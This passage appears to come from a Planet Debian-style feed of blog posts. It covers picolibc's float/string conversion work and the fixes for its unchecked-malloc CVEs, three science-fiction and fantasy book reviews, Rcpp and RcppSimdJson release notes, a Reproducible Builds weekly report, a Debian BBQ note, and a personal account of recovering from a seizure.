   __dtoa_engine(double x, struct dtoa *dtoa, uint8_t max_digits, uint8_t max_decimals);
   

   This converts the double x to a string of decimal digits and a decimal exponent stored inside the 'dtoa' struct. It limits the total number of digits to max_digits and, optionally (when max_decimals is non-zero), limits the number of fractional digits to max_decimals - 1. This latter supports 'f' formats. Returns the number of digits stored, which is <= max_digits. Less if the number can be accurately represented in fewer digits.
2. __ftoa_engine

   int
   __ftoa_engine(float x, struct ftoa *ftoa, uint8_t max_digits, uint8_t max_decimals);
   

   The same as __dtoa_engine, except for floats.
3. __atod_engine

   double
   __atod_engine(uint64_t m10, int e10);
   

   To avoid needing to handle stdio inside the conversion function, __atod_engine receives fully parsed values, the base-10 significand (m10) and exponent (e10). The value to convert is m10 * pow(10, e10).
4. __atof_engine

   float
   __atof_engine(uint32_t m10, int e10);
   

   The same as __atod_engine, except for floats.

With these, it can do printf, scanf, ecvt, fcvt, gcvt, strtod, strtof and atof. Porting Ry to Picolibc The existing Ry float-to-string code always generates the number of digits necessary for accurate output. I had to hack it up to generate correctly rounded shorter output when max_digits or max_decimals were smaller. I'm not sure I managed to do that correctly, but at least it appears to be passing all of the test cases I have. In normal operation, Ry iteratively removes digits from the answer that aren't necessary to disambiguate with neighboring values. What I changed was to keep removing digits using that method until the answer had few enough digits to fit in the desired length. There's some tricky rounding code that adjusts the final result and I had to bypass that if I'd removed extra digits. That was about the only change necessary to the core algorithm. I also trimmed the code to only include the general case and not the performance improvements, then wrapped it with code to provide the _engine interface. On the string-to-float side, most of what I needed to do was remove the string parsing bits at the start of the function and switch from performance-optimized to space-optimized versions of a couple of internal routines. Correctness Results Because these new functions are now 'exact', I was able to adjust the picolibc tests to compare all of the bits for string/float conversion instead of having to permit a bit of slop in the answers. With those changes, the picolibc test suite passes, which offers some assurance that things aren't completely broken. Size Results Snek uses the 32-bit float versions of the conversion routines, and for that, the size difference is:

   text    data     bss     dec     hex filename
  59068      44   37968   97080   17b38 snek-qemu-riscv-orig.elf
  59430      44   37968   97442   17ca2 snek-qemu-riscv-ryu.elf
    362

362 bytes added to gain accurate printf/strtof results seems like a good trade-off in this case. Performance I haven't measured performance at all, but I suspect that it won't be nearly as problematic on most platforms as the source code makes it appear. And that's because Ry is entirely integer arithmetic with no floating point at all. This avoids using the soft fp code for platforms without hardware float support. Pointers to the Code I haven't merged this to picolibc master yet, it's on the ryu branch:

• keithp.com
• github.com

Review, especially of the hack above to return short results, would be greatly appreciated! Thanks again to Ulf Adams for creating this code and to Sreepathi Pai for sending me a note about it!

Float/String Conversion in Picolibc Exact conversion between strings and floats seems like a fairly straightforward problem. There are two related problems:

1. String to Float conversion. In this case, the goal is to construct the floating point number which most closely approximates the number represented by the string.
2. Float to String conversion. Here, the goal is to generate the shortest string which, when fed back into the String to Float conversion code, exactly reproduces the original value.

When linked together, getting from float to string and back to float is a round trip , and an exact pair of algorithms does this for every floating point value. Solutions for both directions were published in the proceedings of the ACM SIGPLAN 1990 conference on Programming language design and implementation, with the string-to-float version written by William Clinger and the float-to-string version written by Guy Steele and Jon White. These solutions rely on very high precision integer arithmetic to get every case correct, with float-to-string requiring up to 1050 bits for the 64-bit IEEE floating point format. That's a lot of bits. Newlib Float/String Conversion The original newlib code, written in 1998 by David M. Gay, has arbitrary-precision numeric code for these functions to get exact results. However, it has the disadvantages of performing numerous memory allocations, consuming considerable space for the code, and taking a long time for conversions. The first disadvantage, using malloc during conversion, ended up causing a number of CVEs because the results of malloc were not being checked. That's bad on all platforms, but especially bad for embedded systems where reading and writing through NULL pointers may have unknown effects. Upstream newlib applied a quick fix to check the allocations and call abort. Again, on platforms with an OS, that at least provides a way to shut down the program and let the operating environment figure out what to do next. On tiny embedded systems, there may not be any way to log an error message or even restart the system. Ok, so we want to get rid of the calls to abort and have the error reported back through the API call which caused the problem. That's got two issues, one mere technical work, and another mere re-interpretation of specifications. Let's review the specification issue. The libc APIs involved here are: Input:

• scanf
• strtod
• atof

Output:

• printf
• ecvt, fcvt
• gcvt

Scanf and printf are both documented to set errno to ENOMEM when they run out of memory, but none of the other functions takes that possibility into account. So we'll make some stuff up and hope it works out:

• strtod. About the best we can do is report that no conversion was performed.
• atof. Atof explicitly fails to detect any errors, so all we can do is return zero. Maybe returning NaN would be better?
• ecvt, fcvt and gcvt. These return a pointer, so they can return NULL on failure.

Now, looking back at the technical challenge. That's a simple matter of inserting checks at each allocation, or call which may result in an allocation, and reporting failure back up the call stack, unwinding any intermediate state to avoid leaking memory. Testing Every Possible Allocation Failure There are a lot of allocation calls in the newlib code. And the call stack can get pretty deep. A simple visual inspection of the code didn't seem sufficient to me to validate the allocation checking code. So I instrumented malloc, making it count the number of allocations and fail at a specific one. Now I can count the total number of allocations done over the entire test suite run for each API involved and then run the test suite that many times, failing each allocation in turn and checking to make sure we recover correctly. By that, I mean:

• No stores through NULL pointers
• Report failure to the application
• No memory leaks

There were about 60000 allocations to track, so I ran the test suite that many times, which (with the added malloc tracing enabled) took about 12 hours. Bits Pushed to the Repository With the testing complete, I'm reasonably confident that the code is now working, and that these CVEs are more completely squashed. If someone is interested in back-porting the newlib fixes upstream to newlib, that would be awesome. It's not completely trivial as this part of picolibc has diverged a bit due to the elimination of the reent structure. Picolibc's Tinystdio Float/String Conversion Picolibc contains a complete replacement for stdio which was originally adopted from avr libc. That's a stdio implementation designed to run on 8-bit Atmel processors and focuses on very limited memory use and small code size. It does this while maintaining surprisingly complete support for C99 printf and scanf support. However, it also does this without any arbitrary precision arithmetic, which means it doesn't get the right answer all of the time. For most embedded systems, this is usually a good trade off -- floating point input and output are likely to be largely used for diagnostics and debugging, so mostly correct answers are probably sufficient. The original avr-libc code only supports 32-bit floats, as that's all the ABI on those processors has. I extended that to 64-, 80- and 128- bit floats to cover double and long double on x86 and RISC-V processors. Then I spent a bunch of time adjusting the code to get it to more accurately support C99 standards. Tinystdio also had strtod support, but it was missing ecvt, fcvt and gcvt. For those, picolibc was just falling back to the old newlib code, which introduced all of the memory allocation issues we've just read about. Fixing that so that tinystdio was self-contained and did ecvt, fcvt and gcvt internally required writing those functions in terms of the float-to-string primitives already provided in tinystdio to support printf. gcvt is most easily supported by just calling sprintf. Once complete, the default picolibc build, using tinystdio, no longer does any memory allocation for float/string conversions.

Review: Gideon the Ninth, by Tamsyn Muir

Series:	The Locked Tomb #1
Publisher:	Tor
Copyright:	September 2019
ISBN:	1-250-31317-1
Format:	Kindle
Pages:	448

Despite being raised there, Gideon Nav is an outsider in the Ninth House. Her mother, already dead, fell from the sky with a one-day-old Gideon in tow, leaving her an indentured servant. She's a grumpy, caustic teenager in a world of moldering corpses, animated skeletons, and mostly-dead adults whose parts are falling off. Her world is sword fighting, dirty magazines, a feud with the house heir Harrowhark, and a determination to escape the terms of her indenture. Gideon does get off the planet, but not the way that she expects. She doesn't get accepted into the military. She ends up in the middle of a bizarre test, or possibly an ascension rite, mingling with and competing with the nobility of the empire alongside her worst enemy. I struggled to enjoy the beginning of Gideon the Ninth. Gideon tries to carry the story on pure snark, but it is very, very goth. If you like desiccated crypts, mostly-dead goons, betrayal, frustration, necromancers, black robes, disturbing family relationships, gloom, and bitter despair, the first six chapters certainly deliver, but I was sick of it by the time Gideon gets out. Thankfully, the opening is largely unlike the rest of the book. What starts as an over-the-top teenage goth rebellion turns into a cross between a manor house murder mystery and a competitive escape room. This book is a bit of a mess, but it's a glorious mess. It's also the sort of glorious mess that I don't think would have been written or published twenty years ago, and I have a pet theory that attributes this to the invigorating influence of fanfic and writers who grew up reading and writing it. I read a lot of classic science fiction and epic fantasy as a teenager. Those books have many merits, obviously, but emotional range is not one of them. There are a few exceptions, but on average the genre either focused on puzzles and problem solving (how do we fix the starship, how do we use the magic system to take down the dark god) or on the typical "heroic" (and male-coded) emotions of loyalty, bravery, responsibility, authority, and defiance of evil. Characters didn't have messy breakups, frenemies, anxiety, socially-awkward love affairs, impostor syndrome, self-hatred, or depression. And authors weren't allowed to fall in love with the messiness of their characters, at least on the page. I'm not enough of a scholar to make the argument well, but I suspect there's a case to be made that fanfic exists partially to fill this gap. So much of fanfic starts from taking the characters on the canonical page or screen and letting them feel more, live more, love more, screw up more, and otherwise experience a far wider range of human drama, particularly compared to what made it into television, which was even more censored than what made it into print. Some of those readers and writers are now writing for publication, and others have gone into publishing. The result, in my theory, is that the range of stories that are acceptable in the genre has broadened, and the emotional texture of those stories has deepened. Whether or not this theory is correct, there are now more novels like this in the world, novels full of grudges, deflective banter, squabbling, messy emotional processing, and moments of glorious emotional catharsis. This makes me very happy. To describe the emotional payoff of this book in any more detail would be a huge spoiler; suffice it to say that I unabashedly love fragile competence and unexpected emotional support, and adore this book for containing it. Gideon's voice, irreverent banter, stubborn defiance, and impulsive good-heartedness are the center of this book. At the start, it's not clear whether there will be another likable character in the book. There will be, several of them, but it takes a while for Gideon to find them or for them to become likable. You'll need to like Gideon well enough to stick with her for that journey. I read books primarily for the characters, not for the setting, and Gideon the Ninth struck some specific notes that I will happily read endlessly. If that doesn't match your preferences, I would not be too surprised to hear you bounced off the book. There's a lot here that won't be to everyone's taste. The setting felt very close to Warhammer 40K: an undead emperor that everyone worships, endless war, necromancy, and gothic grimdark. The stage for most of the book is at least more light-filled, complex, and interesting than the Ninth House section at the start, but everything is crumbling, drowning, broken, or decaying. There's quite a lot of body horror, grotesque monsters, and bloody fights. And the ending is not the best part of the book; roughly the last 15% of the novel is composed of two running fight scenes against a few practically unkillable and frankly not very interesting villains. I got exhausted by the fighting long before it was over, and the conclusion is essentially a series cliffhanger. There are also a few too many characters. The collection of characters and the interplay between the houses is one of the strengths of this book, but Muir sets up her story in a way that requires eighteen significant characters and makes the reader want to keep track of all of them. It took me about halfway through the book before I felt like I had my bearings and wasn't confusing one character for another or forgetting a whole group of characters. That said, most of the characters are great, and the story gains a lot from the interplay of their different approaches and mindsets. Palamedes Sextus's logical geekery, in particular, is a great counterpoint to the approaches of most of the other characters. The other interesting thing Muir does in this novel that I've not seen before, and that feels very modern, is to set the book in essentially an escape room. Locking a bunch of characters in a sprawling mansion until people start dying is an old fictional trope, but this one has puzzles, rewards, and a progressive physical structure that provides a lot of opportunities to motivate the characters and give them space to take wildly different problem-solving approaches. I liked this a lot, and I'm looking forward to seeing it in future books. This is not the best book I've read, but I thoroughly enjoyed it, despite some problems with the ending. I've already pre-ordered the sequel. Followed by Harrow the Ninth. Rating: 8 out of 10

A new (upstream) simdjson release was announced by Daniel Lemire earlier this week, and my Twitter mentions have been running red-hot ever since as he was kind enough to tag me. Do look at that blog post, there is some impressive work in there. We wrapped up the (still very simple) rcppsimdjson around it last night and shipped it this morning. RcppSimdJson wraps the fantastic and genuinely impressive simdjson library by Daniel Lemire. Via some very clever algorithmic engineering to obtain largely branch-free code, coupled with modern C++ and newer compiler instructions, it results in parsing gigabytes of JSON parsed per second which is quite mindboggling. For illustration, I highly recommend the video of the recent talk by Daniel Lemire at QCon (which was also voted best talk). The best-case performance is faster than CPU speed as use of parallel SIMD instructions and careful branch avoidance can lead to less than one cpu cycle use per byte parsed. This release brings upstream 0.3 (and 0.3.1) plus a minor tweak (also shipped back upstream). Our full NEWS entry follows.

Changes in version 0.0.4 (2020-04-03)

• Upgraded to new upstream releases 0.3 and 0.3.1 (Dirk in #9 closing #8)
• Updated example validateJSON to API changes.

But because Daniel is such a fantastic upstream developer to collaborate with, he even filed a full feature-request maybe you can consider upgrading as issue #8 at our repo containing the fully detailed list of changes. As it is so impressive I will simple quote the upper half of just the major changes:

Highlights

• Multi-Document Parsing: Read a bundle of JSON documents (ndjson) 2-4x faster than doing it individually. API docs / Design Details
• Simplified API: The API has been completely revamped for ease of use, including a new JSON navigation API and fluent support for error code and exception styles of error handling with a single API. Docs
• Exact Float Parsing: Now simdjson parses floats flawlessly without any performance loss (https://github.com/simdjson/simdjson/pull/558). Blog Post
• Even Faster: The fastest parser got faster! With a shiny new UTF-8 validator and meticulously refactored SIMD core, simdjson 0.3 is 15% faster than before, running at 2.5 GB/s (where 0.2 ran at 2.2 GB/s).

For questions, suggestions, or issues please use the issue tracker at the GitHub repo. Courtesy of CRANberries, there is also a diffstat report for this release. If you like this or other open-source work I do, you can now sponsor me at GitHub. For the first year, GitHub will match your contributions.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

Here's what happened in the Reproducible Builds effort between Sunday October 29 and Saturday November 4 2017: Past events

• From October 31st November 2nd we held the 3rd Reproducible Builds summit in Berlin, Germany. A full, in-depth report will be posted in the next week or so.

Upcoming events

• On November 8th Jonathan Bustillos Osornio (jathan) will present at CubaConf Havana.
• On November 17th Chris Lamb will present at Open Compliance Summit, Yokohama, Japan on how reproducible builds ensures the long-term sustainability of technology infrastructure.

Reproducible work in other projects

• Alan Pope linked to the status of "asset recording" in SnapCraft, a concept related to .buildinfo files.

Packages reviewed and fixed, and bugs filed

• Chris Lamb:
  • #880714 filed against cappuccino.
  • #880803 filed against python-kafka.
  • #880804 filed against debci.
  • #880827 filed against roundcube.
• Steve Langasek:
  • #880550 filed against g2.
• Juro:
  • curl (SOURCE_DATE_EPOCH)
  • OpenSSL (SOURCE_DATE_EPOCH)
• Bernhard M. Wiedemann:
  • openSUSE/ant (use SOURCE_DATE_EPOCH)
  • openSUSE/mariadb (drop INFO_BIN)
  • openSUSE/libsmbios (drop embedded build log)

Reviews of unreproducible packages 7 package reviews have been added, 43 have been updated and 47 have been removed in this week, adding to our knowledge about identified issues. Weekly QA work During our reproducibility testing, FTBFS bugs have been detected and reported by:

• Adrian Bunk (44)
• Andreas Moog (1)
• Lucas Nussbaum (7)
• Steve Langasek (1)

Documentation updates

• Ulrike Uhlig:
  • Add documentation about system images.
• Holger Levsen:
  • List all speakers of the DebConf17
  • Add news about the Berlin event
• Chris Lamb:
  • Add recent talks to resources.html.
  • Clarify link to full definition.
  • Cachebust CSS files.
• Bernhard M. Wiedemann:
  • Fix openSUSE website link

diffoscope development Version 88 was uploaded to unstable by Mattia Rizzolo. It included contributions (already covered by posts of the previous weeks) from:

• Mattia Rizzolo
  • tests/comparators/dtb: compatibility with version 1.4.5. (Closes: #880279)
• Chris Lamb
  • comparators:
    • binwalk: improve names in output of "internal" members. #877525
    • Omit misleading "any of" prefix when only complaining about one module in ImportError messages.
  • Don't crash on malformed "md5sums" files. (Closes: #877473)
  • tests/comparators:
    • ps: ps2ascii > 9.21 now varies on timezone, so skip this test for now.
    • dtby: only parse the version number, not any "-dirty" suffix.
  • debian/watch: Use HTTPS URI.
• Ximin Luo
  • comparators:
    • utils/file: Diff container metadata centrally. This fixes a last remaining bug in fuzzy-matching across containers. (Closes: #797759)
    • Fix all the affected comparators after the above change.
• Holger Levsen
  • Bump Standards-Version to 4.1.1, no changes needed.

strip-nondeterminism development Version 0.040-1 was uploaded to unstable by Mattia Rizzolo. It included contributions already covered by posts of the previous weeks, as well as new ones from:

• Mattia Rizzolo:
  • Declare that strip-nondeterminism doesn't need root to build
  • Add my key to debian/upstream/signing-key.asc m disorderfs development

---

Version 0.5.2-2 was uploaded to unstable by Holger Levsen. It included contributions already covered by posts of the previous weeks, as well as new ones from:

• Chris Lamb:
  • Add a reproducible builds example, highlighting the non-intuitive recommendation to sort instead of shuffle.
  • Add myself to AUTHORS.
  • debian/watch: Use HTTPS URI.
• Holger Levsen:
  • debian/control: use /git/ instead of /cgit/ URL for Vcs-Browser
  • debian/compat: Bump to compat level 10 & raise build-depends to debhelper >= 10.2.5~.
  • debian/control: Bump Standards-Version to 4.1.1.

reprotest development

• Ximin Luo:
  • Mention certificate expiry errors in documentation as a potential issue with faketime

buildinfo.debian.net development

• Chris Lamb:
  • Support UID filtering
  • Add initial "by-hash" API endpoint.

tests.reproducible-builds.org

• Mattia Rizzolo:
  • archlinux: enable schroot building on pb4 as well
  • archlinux: don't install the deprecated abs tool
  • archlinux: try to re-enable one schroot creation job
• lynxis
  • lede: replace TMPDIR -> RESULTSDIR
  • lede: openwrt_get_banner(): use locals instead of globals
  • lede: add newline to $CONFIG
  • lede: show git log -1 in jenkins log
• Holger Levsen:
  • lede: add very simple landing page
• Juliana Oliveira Rodrigues
  • archlinux: adds pacman-git dependencies
• kpcyrd
  • archlinux: disable signature verification when running in the future
  • archlinux: use pacman-git until the next release
  • archlinux: make pacman fail less early
  • archlinux: use sudo to prepare chroot
  • archlinux: remove -rf for regular file
  • archlinux: avoid possible TOCTOU issue
  • archlinux: Try to fix tar extraction
  • archlinux: fix sha1sums parsing

Misc. This week's edition was written by Bernhard M. Wiedemann, Chris Lamb, Mattia Rizzolo & reviewed by a bunch of Reproducible Builds folks on IRC & the mailing lists.

Review: The Black Gryphon, by Mercedes Lackey & Larry Dixon

Series:	Mage Wars #1
Publisher:	DAW
Copyright:	1994
Printing:	January 1995
ISBN:	0-88677-643-0
Format:	Mass market
Pages:	460

The Mage Wars series (or the Gryphon series, which isn't its official title but which is in all of the titles) is part of the sprawling Valdemar mega-series, but it's a prequel to all of the other stories. It's also slightly challenging if you're reading in publication order, since it was published simultaneously with the Mage Storms series. If you're following publication order, in theory you should interleave the two series, but I hate doing that. I'm therefore reading it after Mage Winds and before Mage Storms. We'll see whether that was a good idea when I get to the next series. You could, if you really wanted to, read this series before any other Valdemar book. As a prequel from the deep past of Valdemar's world, it doesn't depend on the other series, and you'll get a rediscovery of lost knowledge feel from later books. The downside is that it's a rather boring introduction, and that order would spoil a lot of the revelatory flow of the other series (particularly Elspeth's adventures in the Mage Winds books). I'm now getting into the Valdemar books that I've only read once. I've been putting off continuing my Valdemar re-read because this series was next and I remember being rather bored with it the first time I read it. But I'm re-reading for the world-building and background as much as for the characters, and this is a huge chunk of world background that fills in the bones underneath Winds of Fate and its sequels. Here's why Dhorisha is a crater, here's why the Pelagiris forests are such a mess, here's where Ma'ar starts, here's the origin of both the gryphons and K'Leshya, and here, finally, we get to see the legendary Urtho on the page. The problem with writing novels set in the epic backstory of your universe is that it's hard to live up to the drama that readers have invented for themselves. A lot of The Black Gryphon is background to events Valdemar readers already know will happen, creating a corresponding lack of surprise. I reached the end of the book and said "yup, that's pretty much what everyone said had happened." Lackey and Dixon do try to do some interesting things here, one of which being the backgrounding of the war. The Black Gryphon starts in the middle of a long-running conflict between Urtho and Ma'ar and doesn't follow the generals or the battles. The protagonists, instead, are a kestra'chern (a type of psychiatrist and spiritual healer who also uses sex, with the expected conflicts of people who incorrectly think of them as prostitutes) and the eventual leader of the gryphons (Skandranon, who is referenced in later books and who provides the title). We get some combat scenes from Skandranon and later another gryphon, but a lot of the book is Amberdrake fighting the effects of the war instead of the details of the war itself. There's a deep and moving story in that idea, and in some of the attached love stories that play out in the army camps. There's also a great story somewhere around Urtho: a brilliant but detached mage who is way out of his depth trying to run an army but smart enough to gather good people around him. He's also a creator of new life, including the gryphons. The Black Gryphon tries to talk about Urtho's paternalism, the weird emotional currents of his relationship with his creations, and the places Urtho keeps things from others for, supposedly, their own good. If this book had looked a bit deeper at the support structure for an army that's trying to be humane, or at the ways in which Urtho strays far too close to being an abusive tyrant through inaction despite having the best of intentions at every step, I think it could have said something significant. Unfortunately, that's not this book. This book is full of relentlessly black and white morality (the flaw of much of the Valdemar series) that bleaches away interesting shades of grey. Urtho is good and wise by authorial fiat, and Ma'ar is the same utterly irredeemable force of evil that he is in other books. The story skitters over Urtho's odd tyrannies, making them all better with the pure power of friendship and good intentions. There just isn't much emotional depth, and while I don't expect that of Lackey in general, this story really needed that depth to work. What we get instead is repetition, as Lackey and Dixon hit the same emotional notes with Amberdrake repeatedly. This is one of those books that makes me wonder if Lackey was trying to write too many novels in a short time than was good for their individual quality. (Collaborations often mean that the lesser-known name is doing all the work, but Dixon is Lackey's husband and the tone of the book is sufficiently Lackey that I don't think that happened here.) It felt padded by Amberdrake turning over the same emotional rocks repeatedly, to largely the same effect. This is, in short, not Lackey's finest effort, although it does have its moments. As always, Lackey is at her best when writing psychological healing narratives. Zhaneel's story is a bit too easy, but the dynamic between Amberdrake and Winterhart is the best part of the book. And The Black Gryphon does tell the reader exactly what led up to the Cataclysm and why. There are no major surprises, but there are some small ones, and it's a nice payoff for the lore-obsessed (like me). This is missable unless you want the full world-building behind Valdemar's past, and it's not the best writing. But if you're heavily invested in the Valdemar universe, it's at least readable and provides an important bit of the history. Followed by The White Gryphon. Rating: 5 out of 10

I started writing this while sitting in Stansted on my way home from the annual UK Debian BBQ. I m finally home now, after a great weekend catching up with folk. It s a good social event for a bunch of Debian folk, and I m very grateful that Steve and Jo continue to make it happen. These days there are also a number of generous companies chipping in towards the cost of food and drink, so thanks also to Codethink and QvarnLabs AB for the food, Collabora and Mythic Beasts for the beer and Chris for the coffee. And Rob for chasing us all for contributions to cover the rest. I was trying to remember when the first one of these I attended was; trawling through mail logs there was a Cambridge meetup that ended up at Steve s old place in April 2001, and we ve consistently had the summer BBQ since 2004, but I m not clear on what happened in between. Nonetheless it s become a fixture in the calendar for those of us in the UK (and a number of people from further afield who regularly turn up). We ve become a bit more sedate, but it s good to always see a few new faces, drink some good beer (yay Milton), eat a lot and have some good conversations. This year also managed to get me a SheevaPlug so I could investigate #837989 - a bug with OpenOCD not being able to talk to the device. Turned out to be a channel configuration error in the move to new style FTDI support, so I ve got that fixed locally and pushed the one line fix upstream as well.

The twelveth update in the 0.12.* series of Rcpp landed on CRAN this morning, following two days of testing at CRAN preceded by five full reverse-depends checks we did (and which are always logged in this GitHub repo). The Debian package has been built and uploaded; Windows and macOS binaries should follow at CRAN as usual. This 0.12.12 release follows the 0.12.0 release from late July, the 0.12.1 release in September, the 0.12.2 release in November, the 0.12.3 release in January, the 0.12.4 release in March, the 0.12.5 release in May, the 0.12.6 release in July, the 0.12.7 release in September, the 0.12.8 release in November, the 0.12.9 release in January, the 0.12.10.release in March, and the 0.12.11.release in May making it the sixteenth release at the steady and predictable bi-montly release frequency. Rcpp has become the most popular way of enhancing GNU R with C or C++ code. As of today, 1097 packages (and hence 71 more since the last release in May) on CRAN depend on Rcpp for making analytical code go faster and further, along with another 91 in BioConductor. This releases contain a fairly large number of fairly small and focused pull requests most of which either correct some corner cases or improve other aspects. JJ tirelessly improved the package registration added in the previous release and following R 3.4.0. Kirill tidied up a number of small issues allowing us to run compilation in even more verbose modes---usually a good thing. Jeroen, Elias Pipping and Yo Gong all contributed as well, and we thank everybody for their contributions. All changes are listed below in some detail.

Changes in Rcpp version 0.12.12 (2017-07-13)

• Changes in Rcpp API:
  • The tinyformat.h header now ends in a newline (#701).
  • Fixed rare protection error that occurred when fetching stack traces during the construction of an Rcpp exception (Kirill M ller in #706).
  • Compilation is now also possibly on Haiku-OS (Yo Gong in #708 addressing #707).
  • Dimension attributes are explicitly cast to int (Kirill M ller in #715).
  • Unused arguments are no longer declared (Kirill M ller in #716).
  • Visibility of exported functions is now supported via the R macro atttribute_visible (Jeroen Ooms in #720).
  • The no_init() constructor accepts R_xlen_t (Kirill M ller in #730).
  • Loop unrolling used R_xlen_t (Kirill M ller in #731).
  • Two unused-variables warnings are now avoided (Jeff Pollock in #732).
• Changes in Rcpp Attributes:
  • Execute tools::package_native_routine_registration_skeleton within package rather than current working directory (JJ in #697).
  • The R portion no longer uses dir.exists to no require R 3.2.0 or newer (Elias Pipping in #698).
  • Fix native registration for exports with name attribute (JJ in #703 addressing #702).
  • Automatically register init functions for Rcpp Modules (JJ in #705 addressing #704).
  • Add Shield around parameters in Rcpp::interfaces (JJ in #713 addressing #712).
  • Replace dot (".") with underscore ("_") in package names when generating native routine registrations (JJ in #722 addressing #721).
  • Generate C++ native routines with underscore ("_") prefix to avoid exporting when standard exportPattern is used in NAMESPACE (JJ in #725 addressing #723).

Thanks to CRANberries, you can also look at a diff to the previous release. As always, even fuller details are on the Rcpp Changelog page and the Rcpp page which also leads to the downloads page, the browseable doxygen docs and zip files of doxygen output for the standard formats. A local directory has source and documentation too. Questions, comments etc should go to the rcpp-devel mailing list off the R-Forge page.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

Dear all, an update is in order. While talking to physiotherapist couple of days before, came to know the correct term to what was I experiencing. I had experienced convulsive seizure , spasms being a part of it. Reading the wikipedia entry and the associated links/entries it seems I am and was very very lucky. The hospital or any hospital is a very bad bad place. I have seen all horror movies which people say are disturbing but have never been disturbed as much as I was in hospital. I couldn t help but hear people s screams and saw so many cases which turned critical. At times it was not easy to remain positive but dunno from where there was a will to live which pushed me and is still pushing me. One of the things that was painful for a long time were the almost constant stream of injections that were injected in me. It was almost an afterthought that the nurse put a Vigo in me. While the above medical device is similar, mine had a cross, the needle was much shorter and is injected into the vein. After that all injections are injected into that including common liquid which is salt,water and something commonly given to patients to stabilize first. I am not remembering the name atm. I also had a urine bag which was attached to my penis in a non-invasive manner. Both my grandfather and grandma used to cry when things went wrong while I didn t feel any pain but when the urine bag was disattached and attached again, so seems things have improved there. I was also very conscious of getting bed sores as both my grandpa and grandma had them when in hospital. As I had no strength I had to beg. plead do everything to make sure that every few hours I was turned from one side to other. I also had an air bag which is supposed to alleviate or relief this condition. Constant physiotherapy every day for a while slowly increased my strength and slowly both the vigo and feeding tube put inside my throat was removed. I have no remembrance as to when they had put the feeding tube as it was all rubber and felt bad when it came out. Further physiotherapy helped me crawl till the top of the bed, the bed was around 6 feet in length and and more than enough so I could turn both sides without falling over. Few days later I found I could also sit up using my legs as a lever and that gave confidence to the doctors to remove the air bed so I could crawl more easily. Couple of more days later I stood on my feet for the first time and it was like I had lead legs. Each step was painful but the sense and feeling of independence won over whatever pain was there. I had to endure wet wipes from nurses and ward boys in place of a shower everyday and while they were respectful always it felt humiliating. The first time I had a bath after 2 weeks or something, every part of my body cried and I felt like a weakling. I had thought I wouldn t be able to do justice to the physiotherapy session which was soon after but after the session was back to feeling normal. For a while I was doing the penguin waddle which while painful was also had humor in it. I did think of shooting the penguin waddle but decided against it as I was half-naked most of the time ( the hospital clothes never fit me properly) Cut to today and I was able to climb up and down the stairs on my own and circled my own block, slowly but was able to do it on my own by myself. While I always had a sense of wonderment for bi-pedal motion as well as all other means of transport, found much more respect of walking. I live near a fast food eating joint so I see lot of youngsters posing in different ways with their legs to show interest to their mates. And this I know happens both on the conscious and sub-conscious levels. To be able to see and discern that also put a sense of wonder in nature s creations. All in all, I m probabl6y around 40% independent and still 60% interdependent. I know I have to be patient with myself and those around me and explain to others what I m going through. For e.g. I still tend to spill things and still can t touch-type much. So, the road is long, I can only pray and hope best wishes for anybody who is my condition and do pray that nobody goes through what I went through, especiallly not children. I am also hoping that things like DxtER and range of non-invasive treatments make their way into India and the developing world at large. Anybody who is overweight and is either disgusted or doesn t like the gym route, would recommend doing sessions with a physiotherapist that you can trust. You have to trust that her judgement will push you a bit more and not more that the gains you make are toppled over. I still get dizziness spells while doing therapy but will to break it as I know dizziness doesn t help me. I hope my writings give strength and understanding to either somebody who is going through it, or relatives or/and caregivers so they know the mental status of the person who s going through it. Till later and sorry it became so long. Update I forgot to share this inspirational story from my city which I shared with a friend days ago. Add to that, she is from my city. What it doesn t share is that Triund is a magical place. I had visited once with a friend who had elf ears (he had put on elf ears) and it is kind of place which alchemist talks about, a place where imagination does turn wild and there is magic in the air.
Filed under: Miscellenous Tagged: #air bag, #bed sores, #convulsive epileptic seizure, #crawling, #horror, #humiliation, #nakedness, #penguin waddle, #physiotherapy, #planet-debian, #spilling things, #urine bag, #Vigo medical device

Review: Star Healer, by James White

Series:	Sector General #6
Publisher:	Orb
Copyright:	1984
Printing:	2002
ISBN:	0-312-87770-6
Format:	Trade paperback
Pages:	206

Star Healer is the sixth book of the Sector General series, and I think it may be the first novel in the series that was written as a novel instead of a fix-up of short stories. That makes it not a bad place to start in the series if one would rather not deal with fix-ups or barely-disguised short story collections. There isn't a huge amount of character development over the course of this series (at least to this point), so the main thing you would lose by starting here is some built-up reason for caring about the main character. This is the third book in the Alien Emergencies omnibus (the book referenced in the publication information here). Most of the previous stories have focused on Conway, a Senior Physician in the sprawling and wonderfully well-equipped multi-species hospital called Sector General and, in recent stories, the head physician in the hospital's ambulance ship. Becoming a Senior Physician at Sector General is quite the accomplishment, and a fine point to reach in the career of any doctor specializing in varied life forms, but there is another tier above: the Diagnosticians, who are the elite of Sector General. The difference is education tapes. Deep knowledge of even one specific type of life is a lot to ask of a doctor, as shown by the increasing specialization of human medicine. Sector General, which deals with wildly varying ailments of thousands of species including entirely unknown ones (if, admittedly, primarily trauma, at least in the stories shown), would be an impossible task. White realizes this and works around it with education tapes that temporarily embed in a doctor's head the experience of a doctor of another species entirely. This provides the native expertise missing, but it comes with the full personality of the doctor who recorded the tape, including preferences for food and romantic attachment that may be highly disorienting. Senior Physicians use a tape at a time, and then have it erased again when they don't need it. Diagnosticians juggle four or more tapes at the same time, and keep them for long periods or even permanently, allowing them to do ground-breaking original research. The opening of Star Healer is an offer from the intimidating Chief Psychologist of Sector General: he has a shot at Diagnostician. But it's a major decision that he should think over first, so the next step is to take a vacation of sorts on a quiet world with a small human scientific station. Oh, and there's a native medical problem, although not one with much urgency. Conway doesn't do a lot of resting, because of course he gets pulled into trying to understand the mystery of an alien species that is solitary to the point of deep and unbreakable social taboos against even standing close to other people. This is a nice cultural puzzle in line with the rest of the series, but it also leaves Conway with a new ally: an alien healer in a society in which being a doctor is difficult to the point of near hopelessness. It's not much of a spoiler to say that of course Conway decides to try for Diagnostician after his "vacation." The rest of the book is him juggling multiple cases with his new and often conflicting modes of thinking, and tackling problems that require a bit less in the way of puzzle-solving and a bit more in the way of hard trade-off decisions and quick surgical action. Senior Physicians may be able to concentrate on just one puzzle at a time; Diagnosticians have to juggle several. And they're larger, more long-term problems, focusing on how to improve a general problem for a whole species rather than just heal a specific injured alien. One interesting aspect of this series, which is very much on display here, is that Sector General most 